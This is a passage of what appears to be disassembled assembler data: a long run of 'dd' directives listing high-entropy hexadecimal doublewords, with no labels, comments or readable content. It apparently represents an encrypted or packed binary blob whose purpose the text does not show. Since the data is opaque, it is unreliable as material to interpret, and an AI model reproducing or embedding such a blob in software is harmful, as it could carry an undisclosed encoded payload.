2E655A2Fh, 0EEC14618h, 8064ADD6h dd 7797C368h, 0D23C918h, 0F013B33Eh, 68368631h, 6207A095h dd 5C75CF88h, 0F04ACF4Bh, 0C309CFECh, 25DE447Dh, 5D92E19Eh dd 0EE0A7784h, 10A71444h, 88D211A8h, 6C97F149h, 0D1C1B5D4h dd 5F5C0246h, 2269B40h, 585F6E1Fh, 0D37B1C8Ch, 4DA3F8CAh dd 0E204C247h, 87071821h, 402C3251h, 6501796Ch, 89CAD0ADh dd 0B47A5AD7h, 880E46FFh, 0E9E9BD7Dh, 0C7A7C904h, 38F0F56Fh dd 0BCBCA4FFh, 3024EFD7h, 5A2EDD83h, 207287D5h, 0FA10791h dd 1050ECA2h, 0D5F74D17h, 13C85A01h, 38890A3Dh, 0C71014F4h dd 0F3165DBDh, 0C04214Ch, 0F700751Ah, 0B42596D6h, 595C7A7Ah dd 40051218h, 0F25BE78Ah, 5010CE49h, 9717B01Fh, 48DE0B3Eh dd 0BFA12E75h, 793F8ECBh, 0C25ECBE7h, 0F9886404h, 5128BB25h dd 0CBEE5934h, 8410F226h, 0ED732E19h, 9345108Eh, 0D64F914Bh dd 50AC04BEh, 3C76154Dh, 51BDCF87h, 0AD28F7B5h, 0E92198B6h dd 561C59A9h, 0FA43D89h, 76CBEA08h, 11B55063h, 0DC75EE82h dd 4FBD805Ch, 0BF711209h, 6C7CF6FEh, 75A4E2BFh, 5B3F09E7h dd 44D357B2h, 0FCDCE98Fh, 0F721092Ch, 74B775Eh, 0AF9CE79Bh dd 5E7B31A8h, 0DE11EC06h, 90E7075Fh, 0C1815181h, 0E45DD31Ah dd 28936618h, 76900B35h, 0E88FB5h, 39F895B9h, 0BC55F6FAh dd 0B8953FDEh, 3316CB49h, 48CAA276h, 74BB5F9Fh, 0ACE3FA01h dd 12F67610h, 0E7A45268h, 0F90E4BB1h, 0D555C90Ah, 0E0FD441Ah dd 4C5D7919h, 0CE097678h, 4F00B121h, 0E9B37E9h, 4C4A66B0h dd 1866CEEEh, 0DB77558Eh, 0A118B55Dh, 54828DF6h, 42350524h dd 0F5828083h, 0D51691Dh, 459AF09Ah, 0CB8874Ah, 0E45AA8D3h dd 0EB93BDA8h, 12741DA2h, 0B26E9B68h, 0CA9710C7h, 0C472F84Bh dd 6605DC71h, 0FEDAC150h, 0E1C2D1C8h, 0B0148B58h, 0B3DE04E7h dd 8D00BA13h, 163C1FE3h, 9D58FA3Dh, 126265F4h, 9750BFAh dd 5D50094Ah, 0BD5C7029h, 18BD830Ah, 59118B4Fh, 27A56FF4h dd 5C64B44Dh, 45EF81D6h, 0BE41C554h, 2D210328h, 545DE8h dd 811093A6h, 34B10407h, 0B4C707ECh, 0E4AB8E7h, 0E966F525h dd 44527F17h, 4F77D680h, 3BB90B86h, 1E83B143h, 3A27EF47h dd 0ABCC7D5Ah, 961244Ah, 0A4690B61h, 34843177h, 5701580Eh dd 207FBB8Bh, 0BB685251h, 0EC8A5F7Ch, 88109C27h, 1D9F2F7Dh dd 310A0DC6h, 0AC49E154h, 28085284h, 0C4E4CC0h, 29573EE3h dd 31045B48h, 1249A66h, 3348A61Dh, 6859C040h, 582E59B4h dd 0F7802490h, 294EF64Bh, 864F268h, 93125E12h, 3B0BDDBBh dd 5C307CEFh, 0C95BE909h, 7F9CDDFEh, 1365AB0Bh, 9593800Fh dd 951B7539h, 8084CEAh, 22FE1A9Ch, 10A1170Ah, 0FF5F2E06h dd 4DD7CF40h, 0F9255C07h, 10B22A05h, 50868088h, 1FCE661h dd 4082DF58h, 68175B08h, 1E341FE8h, 21DE5590h, 5D2C18A8h dd 509B4C51h, 0E87D2D2Eh, 0C045A3Fh, 601A5F6Dh, 54ACC974h dd 0FDD54A27h, 9F2C8BFBh, 5D4ADD00h, 99257Bh, 350C287Dh dd 6DFE2CB1h, 8EDA48CBh, 50EAD207h, 0A54E083Dh, 0B2A06BF8h dd 740D4B28h, 8D87AF17h, 0E995B6F0h, 0B85A5E0Eh, 7D1D6C6h dd 0FE054A0Dh, 5A578159h, 0B574EAF4h, 0E1249871h, 0BFF80027h dd 16B336DCh, 8F92152h, 530BDE70h, 0F1588750h, 0B87A687Dh dd 0A3E9F08Ch, 13F993F9h dd 6779C782h, 0E05F09AEh, 5D284FBEh, 99CCADEh, 3E5E5AF0h dd 104BB33Bh, 68A2A72Ch, 0ADE675E9h, 509CB500h, 0F634B652h dd 217E9DDEh, 2035B060h, 0F7E92EC6h, 3AEA4B0h, 0B9DA214Ah dd 3A4801D9h, 4F91DD8Ch, 9CF09736h, 0B0A82E9Ch, 0B6AB6C3h dd 4208F2A8h, 570925F7h, 20454657h, 303E5138h, 842C25CBh dd 0C0AA5D3Ah, 457D687Eh, 24060AAh, 772E6721h, 5F106B38h dd 0B5C0AE4Ah, 28238AE5h, 4AB966F3h, 6B5C9D28h, 0DCAAD06h dd 0D5E91A42h, 9D04416Dh, 443FC468h, 131012C5h, 608D1D10h dd 0CD65EB5Eh, 0D2714AD6h, 0C5106842h, 8A630F02h, 5D892175h dd 9F032BFCh, 5FDFECB8h, 200BE84h, 0F1E9CE01h, 0EB3BCB0Bh dd 0F000425Dh, 8420037h, 0E9410212h, 76BDFF64h, 7E68C116h dd 7CA78815h, 274126FBh, 94494E60h, 3B9698BFh, 0D154B7BEh dd 112056D9h, 0C369C026h, 0EC42D1EFh, 5B895795h, 0A2AC55Fh dd 257C7473h, 58666155h, 8237FF3Bh, 44ABE875h, 138FE420h dd 76025005h, 524677BEh, 0AF418734h, 0BD8C5247h, 250170FFh dd 905D4481h, 65F4E9FBh, 0F95B247Ch, 5FDF106Fh, 2E98BE02h dd 7B613E66h, 7D2D026Fh, 0EDC0B86Ah, 0D01D05F0h, 0FE256B3Bh dd 0D4202DEh, 260061B7h, 15670640h, 0A43F6FE9h, 715C184h dd 46D130BBh, 0B97A3176h, 0C41D2A14h, 0B8610D38h, 5B98FA58h dd 0F6BBCEBDh, 67291688h, 0EF04BE1Ch, 0E1440A6Bh, 5ACCB34Ah dd 4401BFF4h, 9400D7Ch, 52F9945Ch, 2FC367FFh, 6F4498D5h dd 19710B3Bh, 9521F468h, 6A3CB4E9h, 31E896D9h, 51EBB479h dd 3CB3057h, 32CD0A12h, 0B9E1FD13h, 0CB3FF22Ah, 54254253h dd 6C21FB21h, 1675493Ah, 69B2091h, 3168504Ch, 84C2171Bh dd 0E84B8D2Dh, 0AA27814Ah, 0C528CD82h, 80F26E50h, 0F8A05256h dd 5CD31064h, 95160EEEh, 7E25CC92h, 0C793A060h, 0E77A580Ah dd 4122AC3Eh, 71A63E08h, 25108F95h, 7D052531h, 0A1D6BA0Bh dd 98F7FC9h, 0DE42A1F5h, 0A4CAFC5Ah, 0B0F6F8EAh, 7C7675FEh dd 0FAF6282Ch, 1AC50506h, 0E80C5121h, 8ED284Eh, 8786E925h dd 0F3C166CDh, 68D43F3Ah, 0EC6A5B2Ch, 0A7BA83D7h, 0EB220916h dd 0F68403C7h, 5F5F0AE2h, 0CF109726h, 0DE980B5Eh, 75681DC0h dd 0D09DFCFEh, 2C72734h, 50718F74h, 632BBE2Fh, 0A6E0D316h dd 2AA71095h, 58C5310Bh, 0F59820F5h, 1BAF706Bh, 0A7E82941h dd 0F0E08225h, 0C247B525h, 585D7CADh, 0CDC6293Dh, 207756BDh dd 50BD47AAh, 53EC091Eh, 5D31C9h, 488AEE34h, 0BA327229h dd 130883B8h, 0BF26E989h, 0BB8116B3h, 3AF82CF2h, 41804088h dd 0E8DDC3A4h, 29AE4B5Eh, 0A5B06082h, 236F3B13h, 0A0622509h dd 851AD93Ah, 6D59976Ch, 0D6C60500h, 0B8899CCFh, 4AD8B51Bh dd 2C034320h, 38B5DFF7h, 8F09BD40h, 0E070E25Eh, 14F1E54Ch dd 0B434CD59h, 0E9450202h, 0CB52C439h, 54793CC4h, 0F2814A00h dd 0FE2C1DDAh, 5A19FD19h, 122EECD0h, 6DE6EF8Eh, 258BA296h dd 0E73B6053h, 13E23C6Eh, 64F37B7Eh, 0ABF74C59h, 0FE509B0Bh dd 68CA4F42h, 3C790BFEh, 74F4CD20h, 61B063E4h, 112B990Fh dd 26E3806Dh, 2F510542h, 0C46289E9h, 0E20703D5h, 3F29801h dd 71F89528h, 0F13AF5Bh, 0E0D29AA9h, 5A13B98Fh, 74BC38D4h dd 332AF832h, 8B86F975h, 82CEE075h, 0FC6B4C8h, 0C1897B35h dd 131A6182h, 5DC09A75h, 0C40375B3h, 462C12B5h, 80E0B629h dd 5CF2E908h, 0A781CD43h, 38688523h, 4CEDD7E7h, 0A8D19734h dd 9A52109Ch, 5EA95C28h, 8510D42Bh, 5BA1AB1Dh, 9238BF2Bh dd 0C9805FFAh, 0C9EB94Fh, 9A1E5E01h, 6D0E0485h, 80F32936h dd 640C3295h, 0F0B94B5Eh, 0DD51AD05h, 180EA1Dh, 1810383Fh dd 0C763D9E9h, 3D7C95F7h, 8381645Bh, 0F360A660h, 0D8A045B2h dd 5C97BB65h, 61605299h, 288EFEE7h, 2976D07Ch, 80CAA86Ah dd 933509BBh, 4D0CBE1Fh, 0B466F9ABh, 4F2017D1h, 0E956FF24h dd 0B41D2ACh, 20D8289h, 0D14133D5h, 1E66E85Eh, 2F274B10h dd 0B25BA5Fh, 0AC79D6A5h, 0EE5D97D8h, 69946604h, 72D8CB02h dd 62FBC06Bh, 0FA6AA1F4h, 612F517Dh, 9550E068h, 5EE8EDF1h dd 0F30303BDh, 74D0A5BCh, 6EF46EF1h, 6BC17241h, 0F4204A2Eh dd 0AAF0BD4Dh, 17CDF99Dh, 9834BB29h, 2DA711C0h, 216D25E9h dd 805E977Fh, 41195205h, 0C14C89FCh, 361F8486h, 0B32B6ABh dd 0F9207968h, 38E188D7h, 6EA5973Eh, 0E4CB48FCh, 0F46A4CDDh dd 12EB520h, 39588CE9h, 6DD9F69Dh, 57A90069h, 825CDB9Fh dd 12A31CC1h, 0D917DC26h, 0A0D2000Bh, 44F9EE64h, 1081A04h dd 801DCCEh, 4CAED1E9h, 2BE8B9FFh, 16065F4Ch, 63C87CA9h dd 77BA9881h, 3156796Eh, 310CBFBEh, 205EF9F7h, 5F4BF905h dd 0BA931EBCh, 0C1ED75A5h, 54568889h, 0BB9D1084h, 0FD1A8BE2h dd 9CCB81A6h, 4C7F64CAh, 582DF4A0h, 0C59D7B91h, 80568E48h dd 8D54E219h, 0F5E41F4Ah, 9C059F6Dh, 3022EE5Bh, 8189D7C8h dd 0F0547DFEh, 0FECE25FCh, 7C563057h, 5866809Bh, 59CF3002h dd 0C0286C04h, 0B5F41968h, 278630A2h, 9289D454h, 0C2C259EAh dd 61DA3368h, 0FEF72613h, 4E3ADCEFh, 5B02FD9Eh, 6E5EF129h dd 3CD997D9h, 0F44B228Bh, 0D97D720Fh, 74A0893Fh, 4D828AD1h dd 682C3B0Ch, 7D1C265h, 0E9416525h, 3BBA2993h, 76D50B75h dd 7DBF89F0h, 975D445Fh, 0AB757589h, 80C67222h, 800D7082h dd 0E1E4D488h, 0E606B0A1h, 386C78B8h, 67EA5997h, 46B9E202h dd 0D6092775h, 0BFFCB784h, 85D9AB4Ah, 8994A87Bh, 2D747829h dd 0E219178Dh, 2082C133h, 200E148h, 8E8BF181h, 4831A8D0h dd 0AB85E9CEh, 8B8113FDh, 10391663h, 68562160h, 1326190Ah dd 6480F444h, 0B876B24Dh, 0C5DEEA2Ch, 0D4308E3Fh, 5BE10B5Ah dd 0C82E3E37h, 0F2B316C7h, 0FCB22676h, 2D4EBA81h, 0E83A0D92h dd 0CE725081h, 4DE6AA9Fh, 0E16D923Dh, 502772A8h, 8EAC2971h dd 0EB09DA21h, 4779DCD0h, 3FB19756h, 1EDFA53Eh, 0A96818B3h dd 0D4F9F740h, 6137DCBFh, 2AFEBF75h, 0E7D8D82Dh, 0C83D1659h dd 2581010Ch, 2043B12Ah, 7512EBBEh, 0E8E04A50h, 6C08A2E9h dd 340E80F2h, 0D638DB2Fh, 0F7C82384h, 5844F40Ah, 43F6BBDCh dd 10374811h, 1D4CD3FCh, 744EC07h, 7DA8BE25h, 0A225681Eh dd 0D374EB9h, 0A6A60464h, 0D6582F5Eh, 0F38758ECh, 0E6C083A0h dd 0C6670375h, 1DE3530Bh, 0A2515CE5h, 1382AE4Ah, 23FF565Fh dd 1FD649BCh, 0A85620E4h, 1D2F05E8h, 0DC823685h, 95EC5084h dd 27A8C76h, 570762F5h, 0A54FA459h, 79A4591Ch, 9CA9287h dd 4B496B2Bh, 262C6365h, 77710100h, 6507E943h, 0BB2DFAE4h dd 0B3A23797h, 34D4498h, 0EE07CDFh, 0F9FBD1F7h, 3F42E7F9h dd 833CAFEDh, 18F4E7CEh, 0F641400Fh, 2E782C7Ch, 3480828h dd 731B6806h, 710925BBh, 0FE4B321Bh, 5848362Dh, 0BDE91255h dd 37DCBE09h, 0FAA2B7EEh, 7541DE01h, 0A14B68E6h, 0CB3B580Bh dd 43604EDCh, 902E5BD5h, 52CD0675h, 0C0B4150h, 0EE3EBC07h dd 0E5D04D08h, 0C0318F5h, 7A0E6826h, 0E15BF0D1h, 0EDD88EF7h dd 334B1468h, 180537E3h, 835B2822h, 9B005341h, 31F4B951h dd 3E816F7Ah, 869321E1h, 25920012h, 95D9927h, 2D8BF95Ah dd 8CD9171Ah, 9B40C355h, 0C80F022Dh, 5966522Ch, 5C512C1h dd 0B35A46B8h, 2DCF88B1h, 457A1466h, 32685880h, 0A8710B78h dd 0F75E53E8h, 0C5B0DE5Ah, 1DBD0055h, 817BF930h, 0CF12E2F5h dd 60128406h, 29BCB0FFh dd 37E9EE0Bh, 0EAA123C4h, 0BE99E13Eh, 8D60D0F5h, 0EB5199D5h dd 0E73138F8h, 0BA988378h, 4A55F73Fh, 0E9C51EA8h, 0EE22D411h dd 4794F1B2h, 0F6AE814Fh, 72F730D2h, 0F43670B5h, 675EC9C2h dd 109104Eh, 205658C6h, 932FEDBAh, 0A22DF263h, 0CC266106h dd 0AD585768h, 8F24E84Eh, 69BFD70Eh, 594360C7h, 93F6F3B5h dd 0FBB60B5Ch, 48455468h, 99E15B97h, 7F4D72D7h, 1226A28Ch dd 0FE760D1Dh, 0C0472D9h, 50494283h, 90C94733h, 98145AE1h dd 59976F76h, 0FE688818h, 706C42h, 0F65D20BFh, 0EF815007h dd 4733062Ah, 3F90DCE9h, 21D15BBh, 2FB81A6Bh, 3860118Ch dd 6481A22Ah, 5F02F770h, 0DC30BF56h, 956274E9h, 5CF5B9E8h dd 5ED1773Bh, 9A121CACh, 37C8982h, 0FC5FF3h, 0D41095B9h dd 1541BD3Fh, 9D042F65h, 0E1FA2D59h, 707DD654h, 4037A261h dd 9F5092B4h, 0A6892251h, 2575EEBAh, 0E7DD5AD0h, 24341066h dd 8EBA357Ch, 0D6FEBBC4h, 0AFA450E8h, 0D0175646h, 5C1DC422h dd 3ADBA66h, 303FA530h, 5E955BDCh, 99550B74h, 109DE42Ah dd 806558F8h, 0B652C328h, 6BDEFCCFh, 59561CD4h, 2D6AE463h dd 0A1F0663Ch, 0B673C518h, 975DE874h, 9C8CFB10h, 0A867A29Fh dd 8B99FEC0h, 0D18F5A1Ah, 0FED15262h, 34DF4CDFh, 0AA9B60B8h dd 0AC11A4CBh, 4B342177h, 226C6880h, 0E9143B94h, 0D2ECA849h dd 3F6AF701h, 2705127h, 0FA397209h, 89582DE9h, 0AD9D0BBh dd 1CDD6B17h, 759C6830h, 0C3D8F50Bh, 1102F13h, 0F80F09DCh dd 690D9772h, 8061CCBh, 0D314821Ch, 0E4CC2791h, 5C766C20h dd 36502643h, 7BBAB7ADh, 5BDEAC40h, 4F33092Eh, 60D812B0h dd 0AF755B10h, 0C2BA201h, 0E63A0836h, 607F002Dh, 0D90934D2h dd 0E1C1305Bh, 131AF182h, 38D228FAh, 20C1F384h, 0AE050827h dd 290E7D90h, 5B55ADFh, 0CBC389E6h, 0E30A760Ch, 8F902E48h dd 2C131F3Bh, 20C54294h, 1CB398BFh, 20D81874h, 11D6E390h dd 0E912A58Bh, 0BE13C06Ah, 0C6007B4Eh, 51CE813Ch, 97770D66h dd 5B02CCD1h, 0DEBBC380h, 2DFEBADEh, 0D1930AEFh, 2AF299C1h dd 4089908Ch, 20D2F7AAh, 0D6071AFCh, 0F4DF0397h, 27AFFD4Ah dd 4E875EC6h, 0E19612D7h, 0B2563E17h, 200C4BEh, 1D026AF4h dd 11ABA682h, 0D3635407h, 0B20C24C9h, 7E20983h, 0FEF93A84h dd 9108CA24h, 0E66806F6h, 0A37BFF7Ch, 0FF27C29Bh, 7DA4720Fh dd 0C6A1AC43h, 62BA280h, 184602CDh, 150CD05Eh, 0C060859h dd 9BDB3BECh, 5AECA8CAh, 0EAB0D1BCh, 0D72D5B97h, 0A083DE76h dd 82FE9F08h, 2E21136Eh, 8645B977h, 53C410E2h, 17200AC4h dd 995A6011h, 12FD67CEh, 0A8A4C061h, 0B5F955BCh, 0A1EE6C54h dd 3F5E6074h, 64497E16h, 0F6D983FAh, 60533581h, 8CF68981h dd 0F9297D0Bh, 0D5FB1A5Fh, 682DDEBEh, 9C9E71BCh, 3539C1BEh dd 0A74CE965h, 0E85F768Ch, 94B9602Bh, 0B30ED35h, 610D0E56h dd 0BE730248h, 0B090CE7Dh, 9A86E3DFh, 0FD385FF1h, 0C19456FEh dd 96228448h, 87B7C6F8h, 0F4B3DE91h, 2D2425B5h, 0FD018B5Dh dd 0B1F38104h, 6BB86B63h, 0B321BBA4h, 0E070C180h, 5A5973CCh dd 807EA9E3h, 0F18013B1h, 95CBE044h, 0B00B177Bh, 580B04F9h dd 8FBB5EEEh, 0BC366187h, 81EC8444h, 35DDCAEFh, 1082495Fh dd 0BFABFA54h, 0FBA34980h, 2100C99Fh, 53505BDFh, 752F0468h dd 1343F0C3h, 0BB2E88E9h, 0D068C071h, 602356FEh, 47E74F3Dh dd 6D7F724h, 0FD158203h, 0CB0B75Ah, 0C54A5209h, 0BAF8A2h dd 0A48935AAh, 31048A46h, 0EAC158C2h, 0ADCDAB82h, 1AC92CC2h dd 5D02222Fh, 769D0CD8h, 0CB96CFC4h, 7E90B0Fh, 4238FD9Fh dd 949513FEh, 208E9818h, 0C1F8DA56h, 4B852C04h, 9A05146h dd 0A1281609h, 5CCE130h, 1818B907h, 3169E7E8h, 0F4657F91h dd 0AB04FD0Bh, 0C1FB6BC1h, 0C7595801h, 95F4E3FBh, 11A3BBB0h dd 87F001C4h, 0B728D836h, 0E8CF595h, 3D13B9A2h, 0CF946947h dd 5F510819h, 96268170h, 9EBD010Bh, 0EB2D5B4Ah, 0BA75F6F2h dd 3D377677h, 0D25AF9CBh, 0B02861ABh, 56810542h, 5204FE6Eh dd 4A22B857h, 4E608BEAh, 0EA684B93h, 9330DF5Fh, 5081704Ch dd 0F53CAB3Eh, 0E4FD4DE9h, 4E8C112h, 0F28812h, 3046C981h dd 8C5251F5h, 0EAB07BF4h, 0F0CCB29Ah, 0E39BC70h, 0E309EAB4h dd 48579E12h, 4ABF6867h, 16E8B318h, 3BC431E9h, 0C85C32BEh dd 8B6479F7h, 0E790360h, 4BA0BB47h, 27E917CEh, 2AFA9219h dd 470F106h, 58A41629h, 0E42F3825h, 126DDD0h, 3970DDFDh dd 8D7C97DDh, 0BD3CFA4Bh, 53707AF6h, 34E91852h, 9DCE99DEh dd 3EC25516h, 1146C08h, 0C9C3A9BEh, 65842A0Ch, 419BE9BFh dd 0A313675h, 9866E9F6h, 5453CC05h, 559E98ABh, 23489DFEh dd 651793A7h, 0C103D5BAh, 18EFBAh, 3D2C5B68h, 9274488h dd 28AC0041h, 0B5B6A11Ch, 8093E03Ah, 2CA7F601h, 4F0283Eh dd 40DE5AD1h, 0BDE0F919h, 628D16B0h, 6359902Dh, 5D57C877h dd 8422B55Fh, 0E7A0F3D1h, 5A9243E6h, 3A25F195h, 0BE8C13F0h dd 2BC3E1B1h, 9DFF5581h, 0B6A9EC2Ah, 0F98F4E4Eh, 0AD8D095h dd 657DAF68h, 60046693h, 910334FDh, 729ED0F7h, 4BC46E09h dd 3F057723h, 2D3A8C7h, 3F69F3B8h, 0F427F71h, 110716C0h dd 858AD62Dh, 39C25EF8h, 0C5F5C8C3h, 0ED961E97h, 0E01FD24Eh dd 68135ABAh, 8DCD67B9h, 2EC559F8h, 0C9B316Fh, 0B9906B9Fh dd 0F413F29Dh, 13E692BBh, 0FFE1B353h, 2CD0F5C1h, 0EF665ADCh dd 0D0897A25h, 47D441C3h, 163E153h, 4F6BB26Fh, 2D85B7FDh dd 478AAA7Ah, 0E7403995h, 3D10E27Bh, 22296820h, 3CF90066h dd 3250DEAh, 65DC540Eh, 2AA4EF40h, 0FB0B8FECh, 8006F119h dd 5452773Fh, 5F97C609h, 33764098h, 7A1E549Fh, 0C79DFC5Dh dd 0E77EEBE9h, 4B8EEC8Fh, 0B9E86057h, 510FEA54h, 0D06EEDB1h dd 0CC52E9A1h, 2B3031C1h, 0A12AAF41h, 2CB02F83h, 0CA4005AAh dd 0E0CF3178h, 5E069813h, 0D8F76BD5h, 47B00D4h, 6354AFFh dd 50752F3Fh, 450FC917h, 0B248DFB8h, 0E9379B02h, 4ED767B5h dd 5B543038h, 0CA6AB4C4h, 2CD40F48h, 44416E78h, 9730AA29h dd 692B02F1h, 0CD016471h, 0D621F60Ah, 0AC555802h, 61AA427Ch dd 1B64A611h, 102C25F9h, 0D351415Fh, 63A6D96Fh, 3E0222C9h dd 0B34BD830h, 0DDFED2B0h, 0EFA03B3Ah, 2E394130h, 0FF0269C2h dd 0FC2FD76Fh, 0B3EEE205h, 60E168C9h, 68BE9085h, 0F3FF2F35h dd 36D38D9Fh, 0A497F82Fh, 19B5B82h, 0C602685Fh, 0C30B4C4Ch dd 7F1EF043h, 0F18929BAh, 510AE08h, 0F356C568h, 75B55B80h dd 0E35D26A7h, 75EAB2F3h, 183425DEh, 4931B8EBh, 0B7697818h dd 92635FA4h, 3E2C45C9h, 656A92CCh, 0E5022BCh, 0F047CED2h dd 0C5C6555Ah, 0D3660C3Fh, 0A53E0420h, 0CF71F966h, 3CFEF8D7h dd 0E84E68CAh, 2D01E125h, 0A8A8098h, 21EBC7Ah, 6C5195EDh dd 0FDA8DD4Bh, 93723208h, 2A0562E8h, 1B9F1605h, 44EBEE81h dd 0F0E1E969h, 0F84D68FDh, 8FAB4A24h, 3EAD45A3h, 0E9C4AEF3h dd 164AFC2Fh, 17095246h, 0F5806208h, 7C9F82B4h, 0EBEE6505h dd 0F2E99A90h, 0C13DC9A1h, 4BD078D5h, 0D5C3D5Fh, 69E3669Fh dd 0EBE2E9FEh, 8F1EEF2Ah, 590416C9h, 8BB188BBh, 0E6055B17h dd 0B825FEEAh, 62289284h, 6D5BBFEDh, 5E97FD20h, 6F6841C7h dd 0F08C2F3Ch, 49816002h, 0A74EDBC6h, 0FE012E13h, 5E084A10h dd 2C6073E7h, 7BB5445Dh, 0D877E91Ah, 9EA3419Bh, 414C96FAh dd 82F87h, 5DBD01A0h dd 0E929051Eh, 0DE47AF11h, 82AB42D3h, 3E6B593h, 0B8027D9Dh dd 0E956E417h, 0D3E2478Eh, 59B37770h, 6E829D88h, 0B6D9AEFDh dd 0AF3BFB6Dh, 8033DD3Ch, 9E92C4E9h, 730AD76h, 5AF1353Dh dd 0B970492h, 8259C831h, 57436AD1h, 55C20C25h, 0A3543689h dd 36BD14h, 0FCE5BEFh, 0FAF88976h, 0C1859FD9h, 0D069ED5Eh dd 17C304C1h, 64A01409h, 0E339134Fh, 0DCF10B6Ch, 569765F9h dd 0E1E1A713h, 0E97B757Fh, 0E0C71780h, 17390388h, 5E35C160h dd 0AD5B9CBh, 0F95623A5h, 7E3E6884h, 0AB3E34AFh, 6C291291h dd 334B5D03h, 483092BFh, 0DE97E858h, 9F1F538Ah, 7D255557h dd 54611F6Eh, 0FA59E9D3h, 8A01D048h, 6997B054h, 0D4D8E053h dd 17D46052h, 122583C7h, 1A0C82FDh, 8964D32Ch, 4429F7BFh dd 9AD5CA32h, 7CD7B58h, 2039714Ch, 0FBCB814Bh, 2CC24D1Dh dd 471CF380h, 0B85136C8h, 902353F3h, 0B4DCE905h, 0C2CF34FEh dd 0F00B8215h, 61CD0FC4h, 0B884B0CCh, 9A88BA99h, 2780E6B7h dd 0C4C15AC7h, 10CD3E6Ch, 0F34A622Dh, 8678DB6Fh, 16B30E30h dd 0DA0B27B2h, 0EA0ADCA9h, 1DE52C05h, 8368042Ch, 0E531FA3Eh dd 0BB3AA3B4h, 887B9002h, 34D6E4E1h, 0BAA520C5h, 5312641Ch dd 9D853ABh, 9FC1AA15h, 0F9BC3ABEh, 3B01B14Bh, 0E1BB3388h dd 0DFFBE32Fh, 515ECD0h, 97440A02h, 5C5D09BAh, 1D5C3BE5h dd 2AC4212h, 12C8AC5Fh, 0C6203639h, 2E59702Fh, 1F9F215Ch dd 75E8D94Fh, 0C926285Fh, 54D60B21h, 6E0147B0h, 22FE28EBh dd 0ED445B17h, 0D31DB66Ah, 0EED113FBh, 2EAC7856h, 0D334BC4h dd 123F5158h, 73F372A6h, 2E5C6149h, 0BA9679EDh, 0E85E278Bh dd 0C1F3A4C3h, 0C8BF0F01h, 3A1C3868h, 688572F6h, 0B113FA79h dd 0D464A2EAh, 4A5C5CCEh, 81A5D1ECh, 6C6DE6B2h, 0B3C9C460h dd 2C685902h, 0F62780DAh, 3B6BC609h, 3D310FDBh, 2F333142h dd 0FC590EB6h, 0BB7CC327h, 7E1AB558h, 28F11D80h, 157579EBh dd 0D0A3EFE9h, 0AFA4D334h, 538465E1h, 0F4A258E9h, 17BC433Ch dd 0AF9CFD2Dh, 20BF6EA1h, 0C69FC1C2h, 0C301288Bh, 5BFA008Dh dd 0DEF70F6Fh, 0E609D14Eh, 2E0DF3E9h, 13CC51Fh, 0B8508147h dd 42086A70h, 427022Dh, 0D6E90A12h, 0E83060F0h, 6349DF14h dd 767400E7h, 0A8B9F941h, 55004254h, 9E4A08ADh, 714759Fh dd 5AC18BE6h, 0A70A4960h, 0EA1E0B65h, 0FF2F0E77h, 70BB4C33h dd 9F7F655h, 19A8A1BAh, 0F9130380h, 86520F59h, 0BE6604E2h dd 0B2808FE2h, 687F27BDh, 98C0C38h, 22085076h, 0B4E901C4h dd 834283A1h, 0C15ECE76h, 396FF51h, 50B7EC4Bh, 301A96C3h dd 0B4170CE9h, 5500890Eh, 0A4EC67A2h, 19D39F7h, 806056DDh dd 48E958D2h, 24001E82h, 0C364B19Eh, 38937735h, 0F3E008h dd 0CF058D27h, 61DCADA1h, 2801D59Dh, 7564FB81h, 291C200Eh dd 0BE94BC5h, 59388220h, 303A003Ch, 8C19038Eh, 2D60E91Bh dd 4C74751Fh, 0B186097Dh, 438EE4FCh, 0C3DD34E3h, 0D54B1EC0h dd 0F234D06h, 18350882h, 0C8C88150h, 5E170C70h, 37434EE9h dd 0D8C773BFh, 6E775Ch, 0C80CE38Ch, 0B1EBC1A7h, 25FAB900h dd 0FD29683h, 0D7A50FC4h, 0F22FB5ECh, 0DC55EF80h, 0A11CC70Dh dd 0C147E7DAh, 8AFFB9FAh, 0B878048Eh, 0C9190666h, 18966D6Ch dd 517BBD00h, 26775BA3h, 8E53006Bh, 0AEEDF922h, 0B8036CBFh dd 0BE82B776h, 4229F606h, 0F0231112h, 8108A421h, 84FE9054h dd 9048F16Ch, 2455EC42h, 2805EEAh, 0DEBDC18h, 15050041h dd 42316E5Ch, 59079664h, 83BF926Ah, 0C50D45A1h, 399660h dd 67B05BEEh, 8ED782FAh, 0FDA94407h, 9F806CCFh, 0FF8D3BFh dd 69D5DABDh, 9ABB4860h, 0E6005D02h, 41FA5B59h, 0FA257040h dd 98760322h, 9EA621CDh, 3653D0E0h, 0FD789B00h, 8F7F6A4Eh dd 18D803EEh, 5E8C34A7h, 624D32A8h, 0BB21B500h, 3C209312h dd 0DF7C2Fh, 17F4EBA3h, 6204DA52h, 2A087F09h, 0B5B0803Bh dd 1428FF61h, 0C494EB6Ah, 0FA8BDB00h, 2297064Eh, 0E62F7700h dd 0E539C47h, 1D9BB070h, 0EA960Fh, 3707E2C2h, 34000AFBh dd 752E1D5Ah, 0B594885h, 9A6EAA9Fh, 23445180h, 0A5FE94C8h dd 7E009675h, 0BF695513h, 3FBCCC29h, 0A180503Dh, 917D62F8h dd 0DA1E2F8Ch, 55C19774h, 0D1A9C77Ah, 0C258C0h, 67DEA517h dd 0BFCCB18Eh, 0BB0E5107h, 0B890A78Ch, 608FB99Eh, 0B247122h dd 83B86FB6h, 0A5F03607h, 0EE0EEF07h, 0DE1F8041h, 0FE338865h dd 7743011Dh, 9BACE6EDh, 0AD62C880h, 55F29A50h, 3C1E8B1Dh dd 65C0B7DCh, 8A67E0C3h, 0AA0500E7h, 0D63011B4h, 320039DCh dd 0EA57296Bh, 8C4FA0h, 0D17ED019h, 0D8A9FB44h, 0F0277000h dd 0EEE34A26h, 0E6CD3E9Ah, 4801F598h, 0ED7744A4h, 0C298E50Fh dd 89E44046h, 499DD748h, 12009CEAh, 0CCC045F6h, 4002C97Dh dd 51011BDh, 1294A024h, 286559h, 2A76FD79h, 0CEA3593h dd 2840FAFBh, 8902D550h, 0B75954A9h, 71C4E0D4h, 88513121h dd 0E0D71A60h, 42001B91h, 47D9AB33h, 0CF2B328h, 5DCEAC15h dd 0F0006B69h, 9852259Bh, 0E683C9h, 29587888h, 2E3B3985h dd 60DBE100h, 1A25BCDEh, 0AB630096h, 0F8C2FC75h, 3200A2ECh dd 413CEFCDh, 0E8CC15Ch, 176F3511h, 67737523h, 0DDE20AFh dd 95031413h, 94FF49ECh, 24128018h, 67AA00A0h, 1B0FCEFh dd 0BC00E0E4h, 9BEADDE9h, 6F61EBh, 